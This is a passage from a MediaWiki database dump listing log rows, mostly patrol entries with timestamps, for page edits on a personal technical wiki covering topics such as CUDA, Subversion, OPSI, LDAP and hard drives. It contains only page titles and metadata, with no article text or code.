2142447',1,0,'Sydney\'s_PowerMac_G5','','925\n0\n1',847,0,'',NULL),('patrol','patrol','20100402224705',1,0,'St_Pete_College_Compnet_AS_Classes','','926\n820\n1',848,0,'',NULL),('patrol','patrol','20100404141853',1,0,'Android_Development','','927\n0\n1',849,0,'',NULL),('patrol','patrol','20100404153626',1,0,'Android_Development','','928\n927\n1',850,0,'',NULL),('patrol','patrol','20100404154938',1,0,'Android_Development','','929\n928\n1',851,0,'',NULL),('patrol','patrol','20100404184924',1,0,'Android_Development','','930\n929\n1',852,0,'',NULL),('patrol','patrol','20100405124921',1,0,'St_Pete_College_Compnet_AS_Classes','','931\n926\n1',853,0,'',NULL),('patrol','patrol','20100406113639',1,0,'Arduino','','932\n924\n1',854,0,'',NULL),('patrol','patrol','20100406115141',1,0,'Arduino','','933\n932\n1',855,0,'',NULL),('patrol','patrol','20100407221619',1,0,'Virtualbox_Tips','','934\n783\n1',856,0,'',NULL),('patrol','patrol','20100408230110',1,0,'Subversion','','935\n755\n1',857,0,'',NULL),('patrol','patrol','20100409034324',1,0,'Subversion','','936\n935\n1',858,0,'',NULL),('patrol','patrol','20100409040021',1,0,'Subversion','','937\n936\n1',859,0,'',NULL),('patrol','patrol','20100409203846',1,0,'Arduino','','938\n933\n1',860,0,'',NULL),('patrol','patrol','20100411105853',1,0,'Linux_Package_Managers','','939\n513\n1',861,0,'',NULL),('patrol','patrol','20100411121201',1,0,'Subversion','','940\n937\n1',862,0,'',NULL),('patrol','patrol','20100411124401',1,0,'Subversion','','941\n940\n1',863,0,'',NULL),('patrol','patrol','20100413202019',1,0,'Eclipse_IDE_Platform','','942\n760\n1',864,0,'',NULL),('patrol','patrol','20100414160035',1,0,'CFEngine_Installation','','943\n889\n1',865,0,'',NULL),('patrol','patrol','20100414161633',1,0,'CFEngine_Installation','','944\n943\n1',866,0,'',NULL),('patrol','patrol','20100414164858',1,0,'CFEngine_Installation','','945\n944\n1',867,0,'',NULL),('patrol','patrol','20100414165240',1,0,'CFEngine_Installation','','946\n945\n1',868,0,'',NULL),('patrol','patrol','20100414213607',1,0,'Magnetic_Card_Stripes_and_Readers','','947\n0\n1',869,0,'',NULL),('patrol','patrol','20100414213841',1,0,'Magnetic_Card_Stripes_and_Readers','','948\n947\n1',870,0,'',NULL),('patrol','patrol','20100418124951',1,0,'Htaccess_Examples','','949\n0\n1',871,0,'',NULL),('patrol','patrol','20100418133315',1,0,'Vulnerability_Testing','','950\n0\n1',872,0,'',NULL),('patrol','patrol','20100419122615',1,0,'Vulnerability_Testing','','951\n950\n1',873,0,'',NULL),('patrol','patrol','20100420141029',1,0,'Eclipse_IDE_Platform','','952\n942\n1',874,0,'',NULL),('patrol','patrol','20100427162846',1,0,'SSL_Certificates','','953\n883\n1',875,0,'',NULL),('patrol','patrol','20100509194249',1,0,'University_of_Southern_Florida_Linux_Degree_Programm','','954\n0\n1',876,0,'',NULL),('patrol','patrol','20100509205936',1,0,'JavaPOS_Development_Resources','','955\n0\n1',877,0,'',NULL),('patrol','patrol','20100510122637',1,0,'Arduino','','956\n938\n1',878,0,'',NULL),('patrol','patrol','20100514134617',1,0,'Kernel_Compiling_Tips','','957\n0\n1',879,0,'',NULL),('patrol','patrol','20100514135002',1,0,'Kernel_Compiling_Tips','','958\n957\n1',880,0,'',NULL),('patrol','patrol','20100514204623',1,0,'389-DS_LDAP_Server','','959\n0\n1',881,0,'',NULL),('patrol','patrol','20100514205104',1,0,'389-DS_LDAP_Server','','960\n959\n1',882,0,'',NULL),('patrol','patrol','20100514210359',1,0,'389-DS_LDAP_Server','','961\n960\n1',883,0,'',NULL),('patrol','patrol','20100515023303',1,0,'389-DS_LDAP_Server','','962\n961\n1',884,0,'',NULL),('patrol','patrol','20100515032301',1,0,'389-DS_LDAP_Server','','963\n962\n1',885,0,'',NULL),('patrol','patrol','20100515042245',1,0,'389-DS_LDAP_Server','','964\n963\n1',886,0,'',NULL),('patrol','patrol','20100515042522',1,0,'389-DS_LDAP_Server','','965\n964\n1',887,0,'',NULL),('patrol','patrol','20100516171337',1,0,'389-DS_LDAP_Server','','966\n965\n1',888,0,'',NULL),('patrol','patrol','20100518183050',1,0,'389-DS_LDAP_Server','','967\n966\n1',889,0,'',NULL),('patrol','patrol','20100519191623',1,0,'389-DS_LDAP_Server','','968\n967\n1',890,0,'',NULL),('patrol','patrol','20100521222614',1,0,'Arcanum','','969\n766\n1',891,0,'',NULL),('patrol','patrol','20100523043520',1,0,'Warcraft_3_on_Linux','','970\n0\n1',892,0,'',NULL),('patrol','patrol','20100526203951',1,0,'LimeSurvey','','971\n0\n1',893,0,'',NULL),('patrol','patrol','20100531210125',1,0,'389-DS_LDAP_Server','','972\n968\n1',894,0,'',NULL),('patrol','patrol','20100602180502',1,0,'Setting_Up_OS_Mirrors','','973\n0\n1',895,0,'',NULL),('patrol','patrol','20100603224953',1,0,'Handy_Linux_Commands','','974\n143\n1',896,0,'',NULL),('patrol','patrol','20100604035319',1,0,'Gmail_and_Cpanel','','975\n0\n1',897,0,'',NULL),('patrol','patrol','20100604130135',1,0,'Solaris_Tips','','976\n891\n1',898,0,'',NULL),('patrol','patrol','20100604130258',1,0,'Solaris_Tips','','977\n976\n1',899,0,'',NULL),('patrol','patrol','20100604152136',1,0,'Setting_Up_OS_Mirrors','','978\n973\n1',900,0,'',NULL),('patrol','patrol','20100604152558',1,0,'SMART_Drive_Diagnostics','','979\n682\n1',901,0,'',NULL),('patrol','patrol','20100607201407',1,0,'Iozone','','980\n0\n1',902,0,'',NULL),('patrol','patrol','20100607205421',1,0,'Iozone','','981\n980\n1',903,0,'',NULL),('patrol','patrol','20100608210401',1,0,'NFS_Performance_Tuning','','982\n0\n1',904,0,'',NULL),('patrol','patrol','20100609165109',1,0,'MySQL_Bash_Scripts','','983\n0\n1',905,0,'',NULL),('patrol','patrol','20100610133643',1,0,'NFS_Performance_Tuning','','984\n982\n1',906,0,'',NULL),('patrol','patrol','20100610141756',1,0,'Iozone','','985\n981\n1',907,0,'',NULL),('patrol','patrol','20100614185424',1,0,'System_Reporting_-_sar_&_kSar','','986\n561\n1',908,0,'',NULL),('patrol','patrol','20100617185650',1,0,'Apache_JMeter_Load_Testing','','987\n0\n1',909,0,'',NULL),('patrol','patrol','20100617190143',1,0,'Apache_JMeter_Load_Testing','','988\n987\n1',910,0,'',NULL),('patrol','patrol','20100618130104',1,0,'Webserver_Benchmark_Tools','','989\n0\n1',911,0,'',NULL),('patrol','patrol','20100618130538',1,0,'Webserver_Benchmark_Tools','','990\n989\n1',912,0,'',NULL),('patrol','patrol','20100618130745',1,0,'Oak_Ridge_National_Laboratory','','991\n0\n1',913,0,'',NULL),('patrol','patrol','20100618140827',1,0,'Apache_JMeter_Load_Testing','','992\n988\n1',914,0,'',NULL),('patrol','patrol','20100618141636',1,0,'Apache_JMeter_Load_Testing','','993\n992\n1',915,0,'',NULL),('patrol','patrol','20100618141915',1,0,'Apache_JMeter_Load_Testing','','994\n993\n1',916,0,'',NULL),('patrol','patrol','20100620001112',1,0,'Home_Design_Ideas','','995\n0\n1',917,0,'',NULL),('patrol','patrol','20100621181316',1,0,'Iozone','','996\n985\n1',918,0,'',NULL),('patrol','patrol','20100622020945',1,0,'Nvidia_CUDA','','997\n0\n1',919,0,'',NULL),('patrol','patrol','20100622022306',1,0,'Bar_Codes','','998\n0\n1',920,0,'',NULL),('patrol','patrol','20100622022427',1,0,'Pete_Workstation_Specs','','999\n0\n1',921,0,'',NULL),('patrol','patrol','20100622133806',1,0,'SSL_Certificates','','1000\n953\n1',922,0,'',NULL),('patrol','patrol','20100622140923',1,0,'NFS_Cache_Install','','1001\n0\n1',923,0,'',NULL),('patrol','patrol','20100622205049',1,0,'OPSI_Install_Manager','','1002\n0\n1',924,0,'',NULL),('patrol','patrol','20100623133728',1,0,'OPSI_Install_Manager','','1003\n1002\n1',925,0,'',NULL),('patrol','patrol','20100623145701',1,0,'OPSI_Install_Manager','','1004\n1003\n1',926,0,'',NULL),('patrol','patrol','20100623162640',1,0,'OPSI_Install_Manager','','1005\n1004\n1',927,0,'',NULL),('patrol','patrol','20100623181016',1,0,'OPSI_Install_Manager','','1006\n1005\n1',928,0,'',NULL),('patrol','patrol','20100623191626',1,0,'OPSI_Install_Manager','','1007\n1006\n1',929,0,'',NULL),('patrol','patrol','20100623193913',1,0,'OPSI_Install_Manager','','1008\n1007\n1',930,0,'',NULL),('patrol','patrol','20100623193957',1,0,'OPSI_Install_Manager','','1009\n1008\n1',931,0,'',NULL),('patrol','patrol','20100624155516',1,0,'OPSI_Install_Manager','','1010\n1009\n1',932,0,'',NULL),('patrol','patrol','20100624161135',1,0,'OPSI_Install_Manager','','1011\n1010\n1',933,0,'',NULL),('patrol','patrol','20100624173907',1,0,'OPSI_Install_Manager','','1012\n1011\n1',934,0,'',NULL),('patrol','patrol','20100624180935',1,0,'OPSI_Install_Manager','','1013\n1012\n1',935,0,'',NULL),('patrol','patrol','20100624201207',1,0,'OPSI_Install_Manager','','1014\n1013\n1',936,0,'',NULL),('patrol','patrol','20100624235722',1,0,'OPSI_Install_Manager','','1015\n1014\n1',937,0,'',NULL),('patrol','patrol','20100625000652',1,0,'OPSI_Install_Manager','','1016\n1015\n1',938,0,'',NULL),('patrol','patrol','20100625001423',1,0,'OPSI_Install_Manager','','1017\n1016\n1',939,0,'',NULL),('patrol','patrol','20100625125948',1,0,'OPSI_Install_Manager','','1018\n1017\n1',940,0,'',NULL),('patrol','patrol','20100625133738',1,0,'OPSI_Install_Manager','','1019\n1018\n1',941,0,'',NULL),('patrol','patrol','20100625134455',1,0,'OPSI_Install_Manager','','1020\n1019\n1',942,0,'',NULL),('patrol','patrol','20100625141012',1,0,'OPSI_Install_Manager','','1021\n1020\n1',943,0,'',NULL),('patrol','patrol','20100625145322',1,0,'OPSI_Install_Manager','','1022\n1021\n1',944,0,'',NULL),('patrol','patrol','20100625152255',1,0,'OPSI_Install_Manager','','1023\n1022\n1',945,0,'',NULL),('patrol','patrol','20100626224520',1,0,'Oak_Ridge_National_Laboratory','','1024\n991\n1',946,0,'',NULL),('patrol','patrol','20100626225203',1,0,'Oak_Ridge_National_Laboratory','','1025\n1024\n1',947,0,'',NULL),('patrol','patrol','20100626231210',1,0,'Oak_Ridge_National_Laboratory','','1026\n1025\n1',948,0,'',NULL),('patrol','patrol','20100629231415',1,0,'Technical_Article_Index','','1027\n0\n1',949,0,'',NULL),('patrol','patrol','20100629232030',1,0,'Main_Page','','1028\n28\n1',950,0,'',NULL),('patrol','patrol','20100629232254',1,0,'Technical_Article_Index','','1029\n1027\n1',951,0,'',NULL),('patrol','patrol','20100629232445',1,0,'Main_Page','','1030\n1028\n1',952,0,'',NULL),('patrol','patrol','20100629233051',1,0,'Oak_Ridge_National_Laboratory','','1031\n1026\n1',953,0,'',NULL),('patrol','patrol','20100629233127',1,0,'Oak_Ridge_National_Laboratory','','1032\n1031\n1',954,0,'',NULL),('patrol','patrol','20100704200432',1,0,'Update_Alternatives','','1033\n0\n1',955,0,'',NULL),('patrol','patrol','20100704224202',1,0,'Openssh_Tricks','','1034\n881\n1',956,0,'',NULL),('patrol','patrol','20100706143133',1,0,'MySQL_Tools_and_Tips','','1035\n916\n1',957,0,'',NULL),('patrol','patrol','20100706144202',1,0,'MySQL_Tools_and_Tips','','1036\n1035\n1',958,0,'',NULL),('patrol','patrol','20100706144451',1,0,'MySQL_Tools_and_Tips','','1037\n1036\n1',959,0,'',NULL),('patrol','patrol','20100707193407',1,0,'PXE_Boot_Server','','1038\n816\n1',960,0,'',NULL),('patrol','patrol','20100713200848',1,0,'SMART_Database','','1039\n0\n1',961,0,'',NULL),('patrol','patrol','20100713202544',1,0,'SMART_Test','','1040\n804\n1',962,0,'',NULL),('patrol','patrol','20100714204439',1,0,'OPSI_Install_Manager','','1041\n1023\n1',963,0,'',NULL),('patrol','patrol','20100715012557',1,0,'Diving_Sites_and_Operators','','1042\n0\n1',964,0,'',NULL),('patrol','patrol','20100715130201',1,0,'Oak_Ridge_National_Laboratory','','1043\n1032\n1',965,0,'',NULL),('patrol','patrol','20100716142620',1,0,'Linux_RAID_Management','','1044\n0\n1',966,0,'',NULL),('patrol','patrol','20100717195543',1,0,'St_Pete_College_Compnet_AS_Classes','','1045\n931\n1',967,0,'',NULL),('patrol','patrol','20100717195905',1,0,'St_Pete_College_Compnet_AS_Classes','','1046\n1045\n1',968,0,'',NULL),('patrol','patrol','20100717200611',1,0,'St_Pete_College_Compnet_AS_Classes','','1047\n1046\n1',969,0,'',NULL),('patrol','patrol','20100717201002',1,0,'St_Pete_College_Compnet_AS_Classes','','1048\n1047\n1',970,0,'',NULL),('patrol','patrol','20100717201153',1,0,'St_Pete_College_Compnet_AS_Classes','','1049\n1048\n1',971,0,'',NULL),('patrol','patrol','20100720230724',1,0,'Pete_Workstation_Specs','','1050\n999\n1',972,0,'',NULL),('patrol','patrol','20100720230858',1,0,'Pete_Workstation_Specs','','1051\n1050\n1',973,0,'',NULL),('patrol','patrol','20100720231914',1,0,'Pete_Workstation_Specs','','1052\n1051\n1',974,0,'',NULL),('patrol','patrol','20100720233105',1,0,'Pete_Workstation_Specs','','1053\n1052\n1',975,0,'',NULL),('patrol','patrol','20100721151012',1,0,'Bash_Tricks','','1054\n704\n1',976,0,'',NULL),('patrol','patrol','20100722204859',1,0,'SMART_Database','','1055\n1039\n1',977,0,'',NULL),('patrol','patrol','20100723144146',1,0,'Apache_JMeter_Load_Testing','','1056\n994\n1',978,0,'',NULL),('patrol','patrol','20100723154505',1,0,'Apache_JMeter_Load_Testing','','1057\n1056\n1',979,0,'',NULL),('patrol','patrol','20100723154621',1,0,'Apache_JMeter_Load_Testing','','1058\n1057\n1',980,0,'',NULL),('patrol','patrol','20100723154644',1,0,'Apache_JMeter_Load_Testing','','1059\n1058\n1',981,0,'',NULL),('patrol','patrol','20100723154821',1,0,'Apache_JMeter_Load_Testing','','1060\n1059\n1',982,0,'',NULL),('upload','upload','20100723163716',1,6,'Kelby.jmx.zip','Jmeter Config For Kelby Cluster','',983,0,'',NULL),('patrol','patrol','20100723164359',1,0,'Apache_JMeter_Load_Testing','','1062\n1060\n1',984,0,'',NULL),('upload','upload','20100723165102',1,6,'JmeterRendered.png','','',985,0,'',NULL),('patrol','patrol','20100723165526',1,0,'Apache_JMeter_Load_Testing','','1064\n1062\n1',986,0,'',NULL),('patrol','patrol','20100723200108',1,0,'Reading_List','','1065\n895\n1',987,0,'',NULL),('patrol','patrol','20100723203433',1,0,'Bash_Tricks','','1066\n1054\n1',988,0,'',NULL),('rights','rights','20100724151339',1,2,'Mieren','','\nsysop',989,0,'',NULL),('patrol','patrol','20100724154347',5,0,'House_Hunting','','1067\n0\n1',990,0,'',NULL),('patrol','patrol','20100724165628',1,0,'OpenMP_Parallel_Programming','','1068\n0\n1',991,0,'',NULL),('patrol','patrol','20100724170349',1,0,'Nvidia_CUDA','','1069\n997\n1',992,0,'',NULL),('patrol','patrol','20100724171106',1,0,'House_Hunting','','1070\n1067\n1',993,0,'',NULL),('patrol','patrol','20100725222921',1,0,'Lisi_E8_Theory','','1071\n0\n1',994,0,'',NULL),('patrol','patrol','20100725225748',1,0,'St_Pete_College_Compnet_AS_Classes','','1072\n1049\n1',995,0,'',NULL),('patrol','patrol','20100728040239',1,0,'Nvidia_CUDA','','1073\n1069\n1',996,0,'',NULL),('patrol','patrol','20100728040355',1,0,'Nvidia_CUDA','','1074\n1073\n1',997,0,'',NULL),('patrol','patrol','20100728044058',1,0,'Nvidia_CUDA','','1075\n1074\n1',998,0,'',NULL),('patrol','patrol','20100728044136',1,0,'Nvidia_CUDA','','1076\n1075\n1',999,0,'',NULL),('patrol','patrol','20100728044657',1,0,'Nvidia_CUDA','','1077\n1076\n1',1000,0,'',NULL),('patrol','patrol','20100728050321',1,0,'XWindows_Tricks','','1078\n599\n1',1001,0,'',NULL),('patrol','patrol','20100728074537',1,0,'Alt-F8_Console_Hacks','','1079\n0\n1',1002,0,'',NULL),('patrol','patrol','20100728075925',1,0,'Bash_Tricks','','1080\n1066\n1',1003,0,'',NULL),('patrol','patrol','20100728210425',1,0,'SELinux','','1081\n0\n1',1004,0,'',NULL),('patrol','patrol','20100802002732',1,0,'Pete_Workstation_Specs','','1082\n1053\n1',1005,0,'',NULL),('patrol','patrol','20100802194604',1,0,'Linux_Package_Managers','','1083\n939\n1',1006,0,'',NULL),('patrol','patrol','20100802204701',1,0,'Linux_RAID_Management','','1084\n1044\n1',1007,0,'',NULL),('patrol','patrol','20100802204943',1,0,'Network_Traffic_Capture','','1085\n0\n1',1008,0,'',NULL),('patrol','patrol','20100805031610',1,0,'VPNC_Client','','1086\n0\n1',1009,0,'',NULL),('patrol','patrol','20100805235619',1,0,'Network_Traffic_Capture','','1087\n1085\n1',1010,0,'',NULL),('patrol','patrol','20100806122026',1,0,'Bash_Tricks','','1088\n1080\n1',1011,0,'',NULL),('patrol','patrol','20100806162735',1,0,'Subversion','','1089\n941\n1',1012,0,'',NULL),('patrol','patrol','20100807195803',1,0,'Squid_Cache','','1090\n882\n1',1013,0,'',NULL),('patrol','patrol','20100807202004',1,0,'CUDA_Applications','','1091\n0\n1',1014,0,'',NULL),('patrol','patrol','20100808105738',1,0,'Nvidia_CUDA','','1092\n1077\n1',1015,0,'',NULL),('patrol','patrol','20100808105806',1,0,'Nvidia_CUDA','','1093\n1092\n1',1016,0,'',NULL),('patrol','patrol','20100808110316',1,0,'Nvidia_CUDA','','1094\n1093\n1',1017,0,'',NULL),('patrol','patrol','20100808111242',1,0,'Nvidia_CUDA','','1095\n1094\n1',1018,0,'',NULL),('patrol','patrol','20100808111305',1,0,'Nvidia_CUDA','','1096\n1095\n1',1019,0,'',NULL),('patrol','patrol','20100808112110',1,0,'Nvidia_CUDA','','1097\n1096\n1',1020,0,'',NULL),('patrol','patrol','20100808113804',1,0,'Nvidia_CUDA','','1098\n1097\n1',1021,0,'',NULL),('patrol','patrol','20100808114428',1,0,'Nvidia_CUDA','','1099\n1098\n1',1022,0,'',NULL),('patrol','patrol','20100808115350',1,0,'Nvidia_CUDA','','1100\n1099\n1',1023,0,'',NULL),('patrol','patrol','20100808115518',1,0,'Nvidia_CUDA','','1101\n1100\n1',1024,0,'',NULL),('patrol','patrol','20100808120005',1,0,'Nvidia_CUDA','','1102\n1101\n1',1025,0,'',NULL),('patrol','patrol','20100808120506',1,0,'Nvidia_CUDA','','1103\n1102\n1',1026,0,'',NULL),('patrol','patrol','20100808123539',1,0,'Nvidia_CUDA','','1104\n1103\n1',1027,0,'',NULL),('patrol','patrol','20100809141706',1,0,'Subversion','','1105\n1089\n1',1028,0,'',NULL),('patrol','patrol','20100809180409',1,0,'Alt-F8_Console_Hacks','','1106\n1079\n1',1029,0,'',NULL),('patrol','patrol','20100810012501',1,0,'Nvidia_CUDA','','1107\n1104\n1',1030,0,'',NULL),('patrol','patrol','20100810012824',1,0,'Nvidia_CUDA','','1108\n1107\n1',1031,0,'',NULL),('patrol','patrol','20100810135525',1,0,'Smartd_Drive_Monitoring','','1109\n0\n1',1032,0,'',NULL),('patrol','patrol','20100810135801',1,0,'Smartd_Drive_Monitoring','','1110\n1109\n1',1033,0,'',NULL),('patrol','patrol','20100810142843',1,0,'Smartd_Drive_Monitoring','','1111\n1110\n1',1034,0,'',NULL),('patrol','patrol','20100810152742',1,0,'Alt-F8_Console_Hacks','','1112\n1106\n1',1035,0,'',NULL),('patrol','patrol','20100812140204',1,0,'Technical_Article_Index','','1113\n1029\n1',1036,0,'',NULL),('patrol','patrol','20100819013029',1,0,'Oak_Ridge_National_Laboratory','','1114\n1043\n1',1037,0,'',NULL),('patrol','patrol','20100819013410',1,0,'CUDA_Applications','','1115\n1091\n1',1038,0,'',NULL),('patrol','patrol','20100819174140',1,0,'TI_ez430_Chronos','','1116\n0\n1',1039,0,'',NULL),('patrol','patrol','20100823152536',1,0,'Subversion','','1117\n1105\n1',1040,0,'',NULL),('patrol','patrol','20100824140618',1,0,'Curl_Notes_and_Tricks','','1118\n896\n1',1041,0,'',NULL),('patrol','patrol','20100824141221',1,0,'Curl_Notes_and_Tricks','','1119\n1118\n1',1042,0,'',NULL),('patrol','patrol','20100824141526',1,0,'Linux_on_64_Bit_Architectures','','1120\n0\n1',1043,0,'',NULL),('patrol','patrol','20100824192310',1,0,'MySQL_Tools_and_Tips','','1121\n1037\n1',1044,0,'',NULL),('patrol','patrol','20100911022350',1,0,'Cultural_Anthropology','','1122\n0\n1',1045,0,'',NULL),('patrol','patrol','20100914123209',1,0,'CFEngine_Installation','','1123\n946\n1',1046,0,'',NULL),('patrol','patrol','20100915122231',1,0,'Virt-manager_Tips','','1124\n0\n1',1047,0,'',NULL),('patrol','patrol','20100915124243',1,0,'Virt-manager_Tips','','1125\n1124\n1',1048,0,'',NULL),('patrol','patrol','20100915131033',1,0,'Virt-manager_Tips','','1126\n1125\n1',1049,0,'',NULL),('patrol','patrol','20100915131224',1,0,'Virt-manager_Tips','','1127\n1126\n1',1050,0,'',NULL),('patrol','patrol','20100915132847',1,0,'Virt-manager_Tips','','1128\n1127\n1',1051,0,'',NULL),('patrol','patrol','20100915133048',1,0,'Virt-manager_Tips','','1129\n1128\n1',1052,0,'',NULL),('patrol','patrol','20100915174525',1,0,'Virt-manager_Tips','','1130\n1129\n1',1053,0,'',NULL),('patrol','patrol','20100917134521',1,0,'Virt-manager_Tips','','1131\n1130\n1',1054,0,'',NULL),('patrol','patrol','20100923195528',1,0,'MySQL_Tools_and_Tips','','1132\n1121\n1',1055,0,'',NULL),('patrol','patrol','20100923200813',1,0,'MySQL_Tools_and_Tips','','1133\n1132\n1',1056,0,'',NULL),('patrol','patrol','20100923200853',1,0,'MySQL_Tools_and_Tips','','1134\n1133\n1',1057,0,'',NULL),('patrol','patrol','20100923202728',1,0,'MySQL_Tools_and_Tips','','1135\n1134\n1',1058,0,'',NULL),('patrol','patrol','20100926152335',1,0,'Distributed_File_Systems','','1136\n0\n1',1059,0,'',NULL),('patrol','patrol','20100926160327',1,0,'Cultural_Anthropology','','1137\n1122\n1',1060,0,'',NULL),('patrol','patrol','20100928212751',1,0,'Eclipse_IDE_Platform','','1138\n952\n1',1061,0,'',NULL),('patrol','patrol','20100929143019',1,0,'Eclipse_IDE_Platform','','1139\n1138\n1',1062,0,'',NULL),('patrol','patrol','20101001123842',1,0,'EqualLogic_Storage_Arrays','','1140\n0\n1',1063,0,'',NULL),('patrol','patrol','20101001202433',1,0,'Drive_Performance_Results','','1141\n0\n1',1064,0,'',NULL),('patrol','patrol','20101001202622',1,0,'Drive_Performance_Tests','','1142\n555\n1',1065,0,'',NULL),('patrol','patrol','20101001202904',1,0,'Linux_Repositories','','1143\n0\n1',1066,0,'',NULL),('patrol','patrol','20101001203305',1,0,'Linux_Repositories','','1144\n1143\n1',1067,0,'',NULL),('patrol','patrol','20101004140351',1,0,'VMware_ESXi','','1145\n0\n1',1068,0,'',NULL),('patrol','patrol','20101004200033',1,0,'EnterpriseDB_Postgres','','1146\n0\n1',1069,0,'',NULL),('patrol','patrol','20101006234958',1,0,'University_of_Tennessee','','1147\n0\n1',1070,0,'',NULL),('patrol','patrol','20101006235205',1,0,'Linux_Documentation_Sites','','1148\n0\n1',1071,0,'',NULL),('patrol','patrol','20101007134429',1,0,'Redmine_Project_Management','','1149\n0\n1',1072,0,'',NULL),('upload','upload','20101007135401',1,6,'Redmine_installHistory.tar.gz','','',1073,0,'',NULL),('patrol','patrol','20101007135513',1,0,'Redmine_Project_Management','','1151\n1149\n1',1074,0,'',NULL),('patrol','patrol','20101007144233',1,0,'Redmine_Project_Management','','1152\n1151\n1',1075,0,'',NULL),('patrol','patrol','20101008115935',1,0,'Redmine_Project_Management','','1153\n1152\n1',1076,0,'',NULL),('patrol','patrol','20101008120426',1,0,'Redmine_Project_Management','','1154\n1153\n1',1077,0,'',NULL),('patrol','patrol','20101008120533',1,0,'Redmine_Project_Management','','1155\n1154\n1',1078,0,'',NULL),('patrol','patrol','20101008123703',1,0,'Redmine_Project_Management','','1156\n1155\n1',1079,0,'',NULL),('patrol','patrol','20101008141959',1,0,'Core_Wars','','1157\n0\n1',1080,0,'',NULL),('patrol','patrol','20101008142343',1,0,'Core_Wars','','1158\n1157\n1',1081,0,'',NULL),('patrol','patrol','20101008202434',1,0,'Core_Wars','','1159\n1158\n1',1082,0,'',NULL),('patrol','patrol','20101010195615',5,0,'Home_Design_Ideas','','1160\n995\n1',1083,0,'',NULL),('patrol','patrol','20101010200338',5,0,'Home_Design_Ideas','','1161\n1160\n1',1084,0,'',NULL),('patrol','patrol','20101010213921',1,0,'OpenOffice_Tools_and_Tips','','1162\n0\n1',1085,0,'',NULL),('patrol','patrol','20101010222513',1,0,'Core_Wars','','1163\n1159\n1',1086,0,'',NULL),('patrol','patrol','20101010223021',1,0,'Core_Wars','','1164\n1163\n1',1087,0,'',NULL),('patrol','patrol','20101011115559',1,0,'Core_Wars','','1165\n1164\n1',1088,0,'',NULL),('patrol','patrol','20101011120920',1,0,'Assembly_Programming','','1166\n0\n1',1089,0,'',NULL),('patrol','patrol','20101011121247',1,0,'Assembly_Programming','','1167\n1166\n1',1090,0,'',NULL),('patrol','patrol','20101011222543',1,0,'Interesting_Exploits','','1168\n0\n1',1091,0,'',NULL),('patrol','patrol','20101012115520',1,0,'Postgre_SQL_Database','','1169\n0\n1',1092,0,'',NULL),('patrol','patrol','20101012120116',1,0,'Drupal','','1170\n0\n1',1093,0,'',NULL),('patrol','patrol','20101012120525',1,0,'Postgre_SQL_Database','','1171\n1169\n1',1094,0,'',NULL),('patrol','patrol','20101012131517',1,0,'Drupal','','1172\n1170\n1',1095,0,'',NULL),('patrol','patrol','20101012151536',1,0,'EqualLogic_Storage_Arrays','','1173\n1140\n1',1096,0,'',NULL),('patrol','patrol','20101012160503',1,0,'Interesting_Exploits','','1174\n1168\n1',1097,0,'',NULL),('patrol','patrol','20101012172654',1,0,'KDE_Plasmoids','','1175\n0\n1',1098,0,'',NULL),('patrol','patrol','20101014191554',1,0,'SSL_Certificates','','1176\n1000\n1',1099,0,'',NULL),('patrol','patrol','20101014194220',1,0,'Gnutls_Configuration','','1177\n0\n1',1100,0,'',NULL),('patrol','patrol','20101014194905',1,0,'Interesting_Exploits','','1178\n1174\n1',1101,0,'',NULL),('patrol','patrol','20101014195034',1,0,'Interesting_Exploits','','1179\n1178\n1',1102,0,'',NULL),('patrol','patrol','20101014200749',1,0,'SELinux','','1180\n1081\n1',1103,0,'',NULL),('patrol','patrol','20101015150140',1,0,'Subversion_Password_Management','','1181\n0\n1',1104,0,'',NULL),('patrol','patrol','20101015152545',1,0,'Subversion_Password_Management','','1182\n1181\n1',1105,0,'',NULL),('patrol','patrol','20101015152801',1,0,'Subversion_Password_Management','','1183\n1182\n1',1106,0,'',NULL),('patrol','patrol','20101015175218',1,0,'Subversion_Password_Management','','1184\n1183\n1',1107,0,'',NULL),('patrol','patrol','20101020150643',1,0,'Linux_Package_Managers','','1185\n1083\n1',1108,0,'',NULL),('patrol','patrol','20101020191323',1,0,'Spamassassin_and_spamc','','1186\n0\n1',1109,0,'',NULL),('patrol','patrol','20101020192012',1,0,'Spamassassin_and_spamc','','1187\n1186\n1',1110,0,'',NULL),('patrol','patrol','20101020232602',1,0,'Arduino','','1188\n956\n1',1111,0,'',NULL),('patrol','patrol','20101026124226',1,0,'Subversion','','1189\n1117\n1',1112,0,'',NULL),('patrol','patrol','20101026192257',1,0,'Subversion','','1190\n1189\n1',1113,0,'',NULL),('patrol','patrol','20101027184100',1,0,'Redmine_Project_Management','','1191\n1156\n1',1114,0,'',NULL),('patrol','patrol','20101027190726',1,0,'Redmine_Project_Management','','1192\n1191\n1',1115,0,'',NULL),('patrol','patrol','20101027191142',1,0,'Redmine_Project_Management','','1193\n1192\n1',1116,0,'',NULL),('patrol','patrol','20101028174847',1,0,'Update_Alternatives','','1194\n1033\n1',1117,0,'',NULL),('patrol','patrol','20101028200856',1,0,'Evolution_Mail_Client','','1195\n0\n1',1118,0,'',NULL),('patrol','patrol','20101029211434',1,0,'MySQL_Tools_and_Tips','','1196\n1135\n1',1119,0,'',NULL),('patrol','patrol','20101030144335',1,0,'Arduino','','1197\n1188\n1',1120,0,'',NULL),('patrol','patrol','20101030145009',1,0,'Arduino_Projects','','1198\n0\n1',1121,0,'',NULL),('patrol','patrol','20101030211546',1,0,'Database_Configuration','','1199\n781\n1',1122,0,'',NULL),('patrol','patrol','20101030211653',1,0,'Bash_Tricks','','1200\n1088\n1',1123,0,'',NULL),('patrol','patrol','20101101181606',1,0,'Large_Partitons_in_Linux','','1201\n0\n1',1124,0,'',NULL),('patrol','patrol','20101101205213',1,0,'Large_Partitons_in_Linux','','1202\n1201\n1',1125,0,'',NULL),('patrol','patrol','20101102114425',1,0,'EnterpriseDB_Postgres','','1203\n1146\n1',1126,0,'',NULL),('patrol','patrol','20101102114732',1,0,'Postgres_Tools_and_Tips','','1204\n0\n1',1127,0,'',NULL),('patrol','patrol','20101102172406',1,0,'Advanced_Format_Hard_Drives','','1205\n0\n1',1128,0,'',NULL),('patrol','patrol','20101102174406',1,0,'Advanced_Format_Hard_Drives','','1206\n1205\n1',1129,0,'',NULL),('patrol','patrol','20101102181832',1,0,'Advanced_Format_Hard_Drives','','1207\n1206\n1',1130,0,'',NULL),('patrol','patrol','20101102195438',1,0,'Advanced_Format_Hard_Drives','','1208\n1207\n1',1131,0,'',NULL),('patrol','patrol','20101102200151',1,0,'Advanced_Format_Hard_Drives','','1209\n1208\n1',1132,0,'',NULL),('patrol','patrol','20101102201909',1,0,'Advanced_Format_Hard_Drives','','1210\n1209\n1',1133,0,'',NULL)